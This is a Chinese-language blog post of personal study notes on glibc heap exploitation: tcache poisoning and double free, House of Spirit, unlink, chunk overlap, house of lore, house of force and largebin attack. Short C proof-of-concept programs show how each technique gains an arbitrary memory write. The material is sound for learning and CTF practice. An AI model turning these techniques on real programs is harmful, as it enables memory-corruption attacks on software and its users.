堆攻击手段整理总结

算是对自己掌握的知识做一个总结吧。毕竟憨憨,经常脑子犯浑,自己把自己绕进去了。就趁着清醒的时候对于手法,原理进行一个记录吧。(慢慢✍吧,我也不知道多久能写完,懒癌选手)

Tcache_bin

tcache在free中并不会被清除inuse标志,所以他们被认为是处于使用状态,不会被合并,LIFO

某要点

这里也点出一点和fastbin的malloc机制所不同的地方

首先来看tcache bin的malloc机制

计算对应的size是否在bin中存在chunk,tcache是否初始化。malloc不存在对size的检测。

fastbin的malloc机制主要看这一段

会对malloc的chunk的size位与fast bin中chunk的size位进行检测,是否匹配。

照我理解,就是malloc(0x28)的时候,会对这个malloc里的size进行fastbin中chunk获取,获取完后会进行这里的第一重检测,也就是实际chunk中的size与fastbin中取出的chunk的size进行匹配。因为这一重检测,所以我们打malloc_hook的时候经常会-0x23这种操作,来使得size匹配。

tcache_dup

因为tcache bin检查机制的问题,可以前后两次free同一个堆块,检查机制并不会报错。也就是常说的double free技巧。

这种条件适用的前提是存在一个UAF漏洞!或者也可以进行双指针同时指向同一个堆块!

因为double free 是任意地址写的一种技巧,指堆上的某块内存被释放后,并没有将指向该堆块的指针清零,那么,我们就可以利用程序的其他部分对该内存进行再次的free。

tcache House of Spirit

这种手法和fatsbin的House of Spirit很类似。这点我在fastbin的攻击手段中讲述的比较详细了,这里就简要概括一下。

可以说也是一种任意地址写的手段,不过得先在你想要的地方伪造堆块,并控制堆指针指向伪造堆块的mem域,将其释放,再次malloc一个相同大小的堆块就可以达成任意地址写。

fastbin里面这种手法你需要对下一个区域进行堆块伪造(主要是写入正确的size位),而在tcache bin中,你就不需要进行下一个堆块的伪造。

tcache poisoning

也就是常见的修改tcachebin chunk的fd域,实现任意地址写。

这个我寻思,经常和tcache dup配合,double free后,进行fd修改,两种攻击组合,形成任意地址写。

tcache perthread corruption

每个线程通过一个tcache_perthread_struct线程本地变量保存tcache bin以及相关的chunk计数。如果我们能够修改tcache_perthread_struct这个结构体的内容,就可以完全控制malloc的内存分配。

那么如何获得这个地址,并控制他呢?我们来了解下tcache的初始化过程,MAYBE_INIT_TCACHE这个宏,他在没有初始化tcache的情况下会初始化一个tcache,实际上初始化tcache的工作是由内部函数tcache_init完成的
###tcache_init
static void
tcache_init(void)
{
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
也就是说,tcache_perthread_struct应该保存在堆区的底部,因为他是最先分配的内存空间。它的结构体中保存着0x20-0x90bin中chunk的数量和信息。如果我们将tcache_perthread_struct中bin的信息全部改为0707070707070707也就代表了tcache bin全部被我们填满,接下来的chunk就会free进fast or unsorted里面。

glibc 2.29里的tcache bin

简单来说,新增了一个指针key放在bk位置,当chunk被free放入tcache时,key会被写入tcache_perthread_struct的地址。chunk被取出时,key会被清空。

在free时,存在一重检测,会检测key是否为tcache_perthread_struct的地址,然后遍历tcache,检测该chunk是否已经在tcache里。

也就是:

1
e-key == &tcache_perthread_struct && chunk in tcachebin[chunk_idx]

由此产生的思路:(抄某爷爷的,地址在这:https://www.secshi.com/39809.html)

  1. 如果有UAF漏洞或堆溢出,可以修改e->key为空,或者其他非tcache_perthread_struct的地址。这样可以直接绕过_int_free里面第一个if判断。不过如果UAF或堆溢出能直接修改chunk的fd的话,根本就不需要用到double free了。
  2. 利用堆溢出,修改chunk的size,最差的情况至少要做到off by null。留意到_int_free里面判断当前chunk是否已存在tcache的地方,它是根据chunk的大小去查指定的tcache链,由于我们修改了chunk的size,查找tcache链时并不会找到该chunk,满足free的条件。虽然double free的chunk不在同一个tcache链中,不过不影响我们使用tcache poisoning进行攻击。

关于tcache下对于main_arena泄露的一些个人见解

手法一:

tcache_entry

1
2
3
4
5
6
7

/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;

tcache_perthread_struct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

# define TCACHE_MAX_BINS 64

static __thread tcache_perthread_struct *tcache = NULL;
  • tcache_prethread_struct 是整个 tcache 的管理结构,其中有 64 项 entries。每个 entries 管理了若干个大小相同的 chunk,用单向链表 (tcache_entry) 的方式连接释放的 chunk,这一点上和 fastbin 很像
  • 每个 thread 都会维护一个 tcache_prethread_struct
  • tcache_prethread_struct 中的 counts 记录 entries 中每一条链上 chunk 的数目,每条链上最多可以有 7 个 chunk
  • tcache_entry用于链接 chunk 结构体,其中的next指针指向下一个大小相同的 chunk
    • 这里与 fastbin 不同的是 fastbin 的 fd 指向 chunk 开头的地址,而 tcache 的 next 指向 user data 的地方,即 chunk header 之后

问题呢,就在tcache_entry这里,众所周知,我们进行常规的tcache duping + tcache poisoning操作时,会对同一个chunk free两次,并malloc相同大小的chunk 三次,以此达到任意地址写的目的。

那么有没有想过,你free两次,entries[]里面只记录了两次,也就是entries[2],你malloc一次,entries[]中的数字就-1,那么你第三次malloc的时候,entries[]就变成了entries[-1],可能很多人看到这个-1就明白过来了。

是的,这个size的tcache bin被你溢出了。那么下次,你再次free 相同size的chunk时,tcache bin中这个size大小的entries[]就会认为本bin已经被填满,chunk就会根据size落入fastbin或者unsortedbin。

此时,根据uaf漏洞,就可以show出main_arena。(如果允许malloc的size小于0x80,那么就拿不到main_arena)

手法二:

当然,如果malloc的size小于0x80,也是基于uaf漏洞的话,还有另外一种方法。

在double free后,因为是单链表结构,bin中chunk的fd会储存下一个chunk的位置信息,double free,也就是把自己的地址写入了fd。如果存在uaf,自然可以在double free后,直接show本堆块,泄露地址。这样,通过uaf漏洞实现任意地址写,讲堆块的size位进行修改,改成大于0x400,free后落入unsortedbin,从而泄露main_arena。

fastbin

fastbin_dup_consolidate

在利用申请一次largebin大小的堆会将fastbin的堆进行合并进入unsortedbin中,这种打法据我所知,一般配合scanf来达成(因为憨憨也只见过配合scanf的)

利用这种特性,可以达成fastbin的doublefree

这里是poc

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<stdio.h>
#include<stdlib.h>
int main(){
int buf[100]={0};
int *p1 = malloc(0x40);
int *p2 = malloc(0x40);
free(p1);
read(0,buf,0x100);
malloc(0x400);
read(0,buf,0x100);
free(p1);
read(0,buf,0x100);
}

网上有很多教程,我也就简略点一点自己在学习unlink时遇到的困难

先说利用前提,存在溢出漏洞

unlink实现手段:

前向合并,在chunk1种fake chunk,fake chunk的fd 和bk分别设置为ptr-0x18和ptr-0x10(64位)

32位是ptr - 12 ,ptr-8

修改chunk2 head的prev_size为fake chunk size以及chunk2 的prev_inuse位 置0,free chunk2

这样,最终结果,ptr就指向ptr-0x18的地方。

此时,我们就达成了我们所想要的任意地址写,怎么理解呢,我们来看一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
unsigned long * target = 0;
void init(){
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
}
int main(){
init();
unsigned long * ptr1 = malloc(0x88);
unsigned long * ptr2 = malloc(0x88);
unsigned long * ptr3 = malloc(0x18);
target = ptr1;
ptr1[0] = 0;
ptr1[1] = 0x81;
ptr1[2] = (unsigned long)(&target) - 0x18;
ptr1[3] = (unsigned long)(&target) - 0x10;
ptr2[-2] = 0x80;
ptr2[-1] = 0x90;
printf("target = %p before free\n",target);
free(ptr2);
printf("target = %p after free\n",target);
printf("pid = %d\n",getpid());
getchar();
return 0;
}
1
2
3
target = 0x80e010 before free  //这里是运行结果
target = 0x601078 after free
pid = 49521

ptr这个指针原本指向的是堆块的地址,但是经过我们的unlink之后,ptr指针就指向了自身地址-0x18的地方,也就是上述所表示的ptr=ptr-0x18。

那么,我们就获得了两个相同的指针。一个指针存在于原本的ptr地址里,另一个就是我们现在控制的chunk指针。

此时,我们修改fake_chunk[3]为要写的地址(也就是上面所见的chunk0[3]) ,因为fake_chunk[3]是一个指针,我们将其进行修改,指向新地址就代表着我们将新地址的内容作为了我们fake_chunk的内容,此时再修改fake_chunk[0] (也就是修改我们新地址的内容) 即达成了一次任意地址写~

后向合并

此时检查chunk1的下下个chunk的flag位,那么此时就在chunk2 faka chunk,并且将chunk3的prev_inuse位 置0,

堆重叠

堆重叠,顾名思义,就是两个堆指针同时指向同一个chunk。这里借助一下unlink操作实现。

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
unsigned long * target = 0;
void init(){
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
}
int main(){
init();
int buf[100]={0};
unsigned long * ptr1 = malloc(0x100);
unsigned long * ptr2 = malloc(0x100);
unsigned long * ptr3 = malloc(0x100);
unsigned long * ptr4 = malloc(0x10);
target = ptr1;
free(ptr1);
free(ptr2);
free(ptr3);
unsigned long * ptr5 = malloc(0x100);
unsigned long * ptr6 = malloc(0x100);
unsigned long * ptr7 = malloc(0x100);
free(ptr5);
ptr7[-1] = 0x110;
free(ptr7);
unsigned long * ptr8 = malloc(0x320);
read(0,buf,0x100);
getchar();
return 0;
}

这里,ptr6指针就被预留。

要想实现需要达成两个条件,假设有chunk1,2,3。

一是chunk3的prev_inuse为0,chunk3的prev_size为chunk1+chunk2

二是chunk2的prev_size为chunk1。

检测是这样的,在free chunk3时根据prev_size以为前面有chunk1+chunk2大小的chunk,找到chunk1,找到chunk2的prev_size,符合,unlink。

House of

house of lore

简述一下,这个就是利用small bin来达成任意地址写。如果栈地址可写,那就可用来打栈,控制返回流程进而控制程序。

先来说说前置知识,检测和为什么free后落入unsorted bin,看不到small bin里的数据。

检测:

也就是说,我们取small bin最后一个chunk的时候会进行检测,如果存在空闲堆块,就会进行检测。

检测为获取最后一个堆块的bk(也就是获取倒数第二个堆块的地址),检查倒数第二个堆块的fd是否为最后一个堆块。

那么我们就可以利用这种检测,修改最后一个chunk的bk指向我们想要的地址(fake_chunk的head部,不是mem)

在那个地址构造好fake_chunk,prev_size,size可以直接写0,无对这俩的检测。只需要构造fd和bk,

fd为最后一个堆块地址,bk为fake_chunk2

(注意一点,在打fake_chunk地址的时候,会再进行一次上述检测,所以要在fake_chunk后面再构造一个fake_chunk2,这个fake_chunk2不用构造prev_size,size什么的,只需要注意在fd位置写上fake_chunk地址就好)

说完检测,来说说第二个问题。

不知道你们有没有,反正我学艺不精,在学这个的时候,想的是,我写的poc怎么size是在smallbin范围,free后全在unsortedbin,进不到smallbin里。

此时来了解一下,unsorted bin 可以视为空闲 chunk 回归其所属 bin 之前的缓冲区

在free了small bin大小的堆块后,堆块会被放入到 unsort bin 中去,然后下一次分配的大小如果比它大,那么将从 top chunk 上分配相应大小,而该 chunk 会被取下 link 到相应的 bin 中。如果比它小 (相等则直接返回),则从该 chunk 上切除相应大小,并返回相应 chunk,剩下的成为 last reminder chunk , 还是存在 unsorted bin 中。

ok,前置讲完了,总结打法,在目标地址伪造俩chunk,chunk1的fd指到smallbin的最后一个chunk,bk指向chunk2,chunk2的fd指向chunk1。smallbin的最后一个chunk的bk指向chunk1,剩下就是malloc完事。上图!

贴poc,👴们自己看8,应该没什么要讲的了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
unsigned long * target = 0;
void init(){
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
}
int main(){
init();
int buf[100]={0};
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};
intptr_t *victim = malloc(0x100);
intptr_t *victim_chunk = victim-2;
fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);
fprintf(stderr, "victim at %p\n", (void*)victim);
fprintf(stderr, "victim_chunk at %p\n", (void*)victim_chunk);
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
void *p5 = malloc(0x10);
free((void*)victim);
void *p2 = malloc(0x110);
victim[1] = (intptr_t)stack_buffer_1;
void *p3 = malloc(0x100);
char *p4 = malloc(0x100);
read(0,p4,0x100);
read(0,buf,0x100);
return 0;
}

house of force

简单来说,在正常malloc机制中,如果你malloc的size大于bin中存储的chunk的size 或者 是bin为空,就会在top chunk的位置分割top chunk。怎么找到top chunk的呢,是在内存中存在一处指针,指向了top chunk的位置,分割top chunk后chunk的落点也是由那个指针指定。

按照上述意思,只要我们控制了那个top chunk的指针,我们就可以实现任意地址写。

要想达成house of force,就需要以下条件:

1.能够以溢出等方式控制到 top chunk 的 size 域

2.能够自由地控制堆分配尺寸的大小

第一种,将top_chunk地址减小,往上分配

1.利用溢出,将top chunk size改为-1

2.计算距离,注意 ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK限制,也就是你的目标地址-top_chunk-SIZE_SZ-MALLOC_ALIGN_MASK。当然,这个MALLOC_ALIGN_MASK可减可不见,看是否对齐。

3.直接进行堆块分配。

贴poc

1
2
3
4
5
6
7
8
9
int main()
{
long *ptr,*ptr2;
ptr=malloc(0x10);
ptr=(long *)(((long)ptr)+24);
*ptr=-1; // <=== 这里把top chunk的size域改为0xffffffffffffffff
malloc(-4120); // <=== 减小top chunk指针
malloc(0x10); // <=== 分配块实现任意地址写
}

第二种,将top_chunk地址增大,往下分配

操作和上述无异,就是第二步,直接目标地址-top_chunk就可了。

贴poc

1
2
3
4
5
6
7
8
9
int main()
{
long *ptr,*ptr2;
ptr=malloc(0x10);
ptr=(long *)(((long)ptr)+24);
*ptr=-1; <=== 修改top chunk size
malloc(140737345551056); <=== 增大top chunk指针
malloc(0x10);
}

largebin_attack

为什么largebin_attack都需要有两个堆块在largebin里,那是因为,注意观察源码,它会存在一个判断

如果fwd不等于bck,意味着large_bin中有空闲chunk存在,所以才会进入下面的

本文标题:堆攻击手段整理总结

文章作者:zhz

发布时间:2020年04月15日 - 08:04

最后更新:2020年05月09日 - 16:05

原始链接:http://yoursite.com/2020/04/15/堆攻击手段整理总结/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。